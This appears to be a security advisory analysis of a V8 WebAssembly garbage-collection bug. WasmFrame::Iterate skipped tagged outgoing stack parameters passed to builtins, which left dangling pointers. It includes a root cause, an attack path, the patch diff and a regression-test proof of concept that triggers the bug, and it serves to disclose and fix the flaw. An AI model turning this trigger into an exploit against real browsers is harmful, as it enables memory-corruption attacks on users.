CVE-2026-118316
Overview
Background
- WasmFrame::Iterate()
- The V8 garbage-collection stack-walker for WebAssembly frames (
src/execution/frames.cc). During GC it must visit (report as roots) every tagged (object) pointer that lives in a Wasm frame — locals, spill slots, and any tagged outgoing parameters — so the GC can trace and relocate them. - Tagged outgoing stack parameters
- When a function passes object (tagged) arguments to a callee on the stack (rather than in registers), those slots hold live heap pointers the GC must know about. On ia32, TFS builtins with ≥4 parameters (e.g.
CallIndirectIC) pass tagged params on the stack. - StubFrame / builtin callee
- A callee builtin’s
StubFrameexpects the caller frame to scan the outgoing stack parameters, because the parameters sit in the caller’s frame region atsp(). - CallInterfaceDescriptor
- Describes a builtin’s calling convention, including
GetStackParameterCount()and flags such askNoStackScan(which marks descriptors whose stack parameters must not be scanned) andAllowVarArgs(). - Compacting GC / stress-compaction
- A moving GC relocates live objects and rewrites pointers it finds via roots. A tagged pointer the GC fails to visit is neither kept alive nor updated, leaving a stale/dangling pointer after collection.
Root Cause Analysis
WasmFrame::Iterate() computed has_tagged_outgoing_params as true only for frames that are not kWasmFunction and not kWasmToCapiWrapper, and only then visited the outgoing stack parameters at sp(). For a kWasmFunction frame, it skipped outgoing-parameter scanning entirely, on the assumption that a Wasm function’s callee (another Wasm function, or WasmToJsWrapperCSA) scans its own incoming stack parameters. That assumption breaks when a Wasm function calls a builtin that takes tagged parameters on the stack (such as CallIndirectIC on ia32 with ≥4 params): the builtin’s StubFrame expects the caller — the Wasm frame — to scan those outgoing tagged slots, but WasmFrame::Iterate() did not. The violated invariant is the GC completeness invariant: every live tagged pointer on the stack must be visited exactly once during root scanning. Here, the tagged outgoing parameters (e.g. a WasmTrustedInstanceData or an argument passed into the IC) were not visited by either the caller frame or the callee builtin frame, so during a compacting GC they were neither kept alive nor relocated — leaving a stale pointer that is subsequently used.
The advisory labels this “Improper input validation in V8,” but the diff shows a GC root-scanning / stack-walking bug that produces a dangling tagged pointer — a use-after-free / memory-corruption class, not input validation; the discrepancy is noted. The fix restructures the if (!InFastCCall()) branch: it keeps the existing path for has_tagged_outgoing_params, and adds an else if for kWasmFunction frames with a non-null callee_pc(). It looks up the callee via OffHeapInstructionStream::TryLookupCode(isolate(), callee_pc()); if it is a builtin, it fetches the CallInterfaceDescriptor, asserts no var-args, and — unless the descriptor has the kNoStackScan flag — visits GetStackParameterCount() tagged slots starting at sp(). A DCHECK_IMPLIES enforces that WasmToJsWrapperCSA has zero such stack params (that case remains handled by the callee). The regression test (regress-574223268.js, run under --stress-compaction) builds a call_indirect site, makes it monomorphic, then forces the monomorphic-miss FixedArray allocation inside CallIndirectIC to trigger a compacting GC while WasmTrustedInstanceData is on the stack — exactly reproducing the unscanned/unrelocated tagged parameter.
WasmFrame::Iterate() never scanned the tagged outgoing stack parameters that a Wasm function passes to a builtin callee (neither frame did), so a compacting GC left those object pointers stale — a missing GC root causing a dangling tagged pointer.Attack Path
- Craft module
Script builds a Wasm module whose call site uses
call_indirectto a signature whose lowering routes tagged parameters through a builtin that passes them on the stack (CallIndirectIC; on ia32 the ≥4-stack-param shape). (The PoC usesWasmModuleBuilderwith a table and two targets.) - Reach the IC path
Compile both callees, make the indirect call site monomorphic on one target, then call a second target to force the IC’s monomorphic-miss handling (which allocates a
FixedArray). - Force compaction mid-call
The miss-handler allocation triggers a (compacting) GC while the builtin is executing and the tagged outgoing parameters (e.g.
WasmTrustedInstanceData) are live on the Wasm caller frame’s stack. (--stress-compaction/%SimulateNewspaceFull()in the PoC make this deterministic.) - Stale pointer
Because
WasmFrame::Iterate()didn’t visit those slots, the GC neither keeps nor relocates the referenced object; the stack slot now points to moved/freed memory. - Primitive Subsequent use of the stale tagged pointer (e.g. the instance data) after relocation/collection yields a use-after-free / type-confused object access in V8 — a strong, scriptable memory-corruption primitive (full exploit chain inferred).
Impact Assessment
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifsrc/execution/frames.cc |
modified | |
fortest/mjsunit/regress/wasm/regress-574223268.js |
modified |
Files Changed
test/mjsunit/regress/wasm/regress-574223268.jssrc/execution/frames.cctest/mjsunit/mjsunit.status
Audit Directions
- Other frame iterators and outgoing-param scanningReview
TypedFrame/StubFrame/builtin-continuation frameIterate()implementations for the symmetric assumption that “the callee scans its incoming params,” especially where a frame can call a builtin with tagged stack parameters. - kNoStackScan / descriptor flags coverageAudit
CallInterfaceDescriptors used as Wasm→builtin callees to confirm thekNoStackScanflag is set exactly on those whose stack slots must not be scanned, and that none mislabel tagged params as untagged. - ia32 / ≥4-stack-param builtinsEnumerate TFS builtins that pass tagged parameters on the stack (platform-dependent, notably ia32) reachable from Wasm, and verify each has caller- or callee-side root scanning.
- GC-during-IC allocation sitesLook for other IC/allocation points reachable from Wasm that can trigger GC while tagged values sit in unscanned caller stack regions.
Patch
From 11a31ce52ce0b1b2b637929562ebbed8ea3dbb38 Mon Sep 17 00:00:00 2001 From: Jakob Kummerow <[email protected]> Date: Wed, 21 Oct 2026 14:00:02 +0000 Subject: [PATCH] [wasm] Scan outgoing stack parameters from Wasm to builtins When a Wasm function calls a builtin that passes tagged parameters on the stack (e.g. TFS builtins with >= 4 parameters on ia32 such as CallIndirectIC), the callee's StubFrame expects the caller frame to scan those outgoing stack parameters during GC. Previously, WasmFrame::Iterate skipped outgoing parameters for kWasmFunction frames. Check in WasmFrame::Iterate whether the callee is a builtin whose CallInterfaceDescriptor allows stack scanning, and visit its GetStackParameterCount() outgoing stack slots starting at sp(). TAG=agy CONV=96b1f648-2589-484a-a505-7ed7a444bec1 Fixed: 574223268 Change-Id: Ie725f7e5bbf009434509e44c0ccfca428099403a Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8616353 Commit-Queue: Jakob Kummerow <[email protected]> Auto-Submit: Jakob Kummerow <[email protected]> Commit-Queue: Clemens Backes <[email protected]> Reviewed-by: Clemens Backes <[email protected]> Cr-Commit-Position: refs/heads/main@{#111022} --- diff --git a/src/execution/frames.cc b/src/execution/frames.cc index 7dadd16..f6f83cd 100644 --- a/src/execution/frames.cc +++ b/src/execution/frames.cc @@ -1912,10 +1912,35 @@ bool has_tagged_outgoing_params = wasm_code->kind() != wasm::WasmCode::kWasmFunction && wasm_code->kind() != wasm::WasmCode::kWasmToCapiWrapper; - if (!InFastCCall() && has_tagged_outgoing_params) { - FullObjectSlot parameters_base(&Memory<Address>(sp())); - v->VisitRootPointers(Root::kStackRoots, nullptr, parameters_base, - parameters_limit); + if (!InFastCCall()) { + if (has_tagged_outgoing_params) { + FullObjectSlot parameters_base(&Memory<Address>(sp())); + v->VisitRootPointers(Root::kStackRoots, nullptr, parameters_base, + parameters_limit); + } else if (wasm_code->kind() == wasm::WasmCode::kWasmFunction && + callee_pc() != kNullAddress) { + // If a Wasm function calls a builtin with tagged stack parameters, + // visit those parameters. (Calls to other Wasm functions or to + // WasmToJsWrapperCSA have their tagged stack parameters visited by the + // callee frame instead.) + Builtin builtin = + OffHeapInstructionStream::TryLookupCode(isolate(), callee_pc()); + if (Builtins::IsBuiltinId(builtin)) { + CallInterfaceDescriptor descriptor = + Builtins::CallInterfaceDescriptorFor(builtin); + DCHECK(!descriptor.AllowVarArgs()); + if (!(descriptor.flags() & CallInterfaceDescriptorData::kNoStackScan)) { + int stack_params = descriptor.GetStackParameterCount(); + DCHECK_IMPLIES(builtin == Builtin::kWasmToJsWrapperCSA, + stack_params == 0); + if (stack_params > 0) { + FullObjectSlot parameters_base(&Memory<Address>(sp())); + v->VisitRootPointers(Root::kStackRoots, nullptr, parameters_base, + parameters_base + stack_params); + } + } + } + } } // Visit pointer spill slots and locals. diff --git a/test/mjsunit/mjsunit.status b/test/mjsunit/mjsunit.status index af1b334..a2f5a8d 100644 --- a/test/mjsunit/mjsunit.status +++ b/test/mjsunit/mjsunit.status @@ -3038,6 +3038,7 @@ 'regress/wasm/regress-543901836': [SKIP], 'regress/wasm/regress-560536735': [SKIP], 'regress/wasm/regress-561660149': [SKIP], + 'regress/wasm/regress-574223268': [SKIP], 'compiler/regress-347724915': [SKIP], 'regress/regress-crbug-418520151': [SKIP], 'regress/regress-535000102': [SKIP], diff --git a/test/mjsunit/regress/wasm/regress-574223268.js b/test/mjsunit/regress/wasm/regress-574223268.js new file mode 100644 index 0000000..edbbaa7 --- /dev/null +++ b/test/mjsunit/regress/wasm/regress-574223268.js @@ -0,0 +1,55 @@ +// Copyright 2026 the V8 project authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +// Flags: --allow-natives-syntax --stress-compaction + +d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js'); + +function buildModule(numTargets, tableSize = numTargets) { + const builder = new WasmModuleBuilder(); + builder.addMemory(1, 1); + const sig_v_v = builder.addType(kSig_v_v); + const sig_v_i = builder.addType(kSig_v_i); + const funcs = []; + for (let i = 0; i < numTargets; i++) { + const f = builder.addFunction('f' + i, sig_v_v) + .addBody([ + kExprI32Const, 0, + kExprI32Const, 42 + i, + kExprI32StoreMem, 0, 0, + ]) + .exportFunc(); + funcs.push(f.index); + } + builder.addFunction('call', sig_v_i) + .addBody([ + kExprLocalGet, 0, + kExprCallIndirect, sig_v_v, kTableZero, + ]) + .exportFunc(); + builder.setTableBounds(tableSize, tableSize); + builder.addActiveElementSegment(0, wasmI32Const(0), funcs); + return builder.toModule(); +} + +// Fill the bootstrap trusted page(s) (which are marked never_evacuate) so that +// subsequent trusted objects land on movable pages. +const filler = []; +const fillerModule = buildModule(1, 2000); +for (let i = 0; i < 64; i++) { + filler.push(new WebAssembly.Instance(fillerModule)); +} + +const targetModule = buildModule(2); +const instance = new WebAssembly.Instance(targetModule); + +// Compile both callees up front. +instance.exports.f0(); +instance.exports.f1(); +// Make the call site monomorphic on target 0. +instance.exports.call(0); +// Force the monomorphic-miss FixedArray allocation inside CallIndirectIC to +// trigger a compacting GC while WasmTrustedInstanceData is on the stack. +%SimulateNewspaceFull(); +instance.exports.call(1);
Regression Test / PoC
diff --git a/test/mjsunit/mjsunit.status b/test/mjsunit/mjsunit.status
index af1b334..a2f5a8d 100644
--- a/test/mjsunit/mjsunit.status
+++ b/test/mjsunit/mjsunit.status
@@ -3038,6 +3038,7 @@
'regress/wasm/regress-543901836': [SKIP],
'regress/wasm/regress-560536735': [SKIP],
'regress/wasm/regress-561660149': [SKIP],
+ 'regress/wasm/regress-574223268': [SKIP],
'compiler/regress-347724915': [SKIP],
'regress/regress-crbug-418520151': [SKIP],
'regress/regress-535000102': [SKIP],
diff --git a/test/mjsunit/regress/wasm/regress-574223268.js b/test/mjsunit/regress/wasm/regress-574223268.js
new file mode 100644
index 0000000..edbbaa7
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-574223268.js
@@ -0,0 +1,55 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --stress-compaction
+
+d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js');
+
+function buildModule(numTargets, tableSize = numTargets) {
+ const builder = new WasmModuleBuilder();
+ builder.addMemory(1, 1);
+ const sig_v_v = builder.addType(kSig_v_v);
+ const sig_v_i = builder.addType(kSig_v_i);
+ const funcs = [];
+ for (let i = 0; i < numTargets; i++) {
+ const f = builder.addFunction('f' + i, sig_v_v)
+ .addBody([
+ kExprI32Const, 0,
+ kExprI32Const, 42 + i,
+ kExprI32StoreMem, 0, 0,
+ ])
+ .exportFunc();
+ funcs.push(f.index);
+ }
+ builder.addFunction('call', sig_v_i)
+ .addBody([
+ kExprLocalGet, 0,
+ kExprCallIndirect, sig_v_v, kTableZero,
+ ])
+ .exportFunc();
+ builder.setTableBounds(tableSize, tableSize);
+ builder.addActiveElementSegment(0, wasmI32Const(0), funcs);
+ return builder.toModule();
+}
+
+// Fill the bootstrap trusted page(s) (which are marked never_evacuate) so that
+// subsequent trusted objects land on movable pages.
+const filler = [];
+const fillerModule = buildModule(1, 2000);
+for (let i = 0; i < 64; i++) {
+ filler.push(new WebAssembly.Instance(fillerModule));
+}
+
+const targetModule = buildModule(2);
+const instance = new WebAssembly.Instance(targetModule);
+
+// Compile both callees up front.
+instance.exports.f0();
+instance.exports.f1();
+// Make the call site monomorphic on target 0.
+instance.exports.call(0);
+// Force the monomorphic-miss FixedArray allocation inside CallIndirectIC to
+// trigger a compacting GC while WasmTrustedInstanceData is on the stack.
+%SimulateNewspaceFull();
+instance.exports.call(1);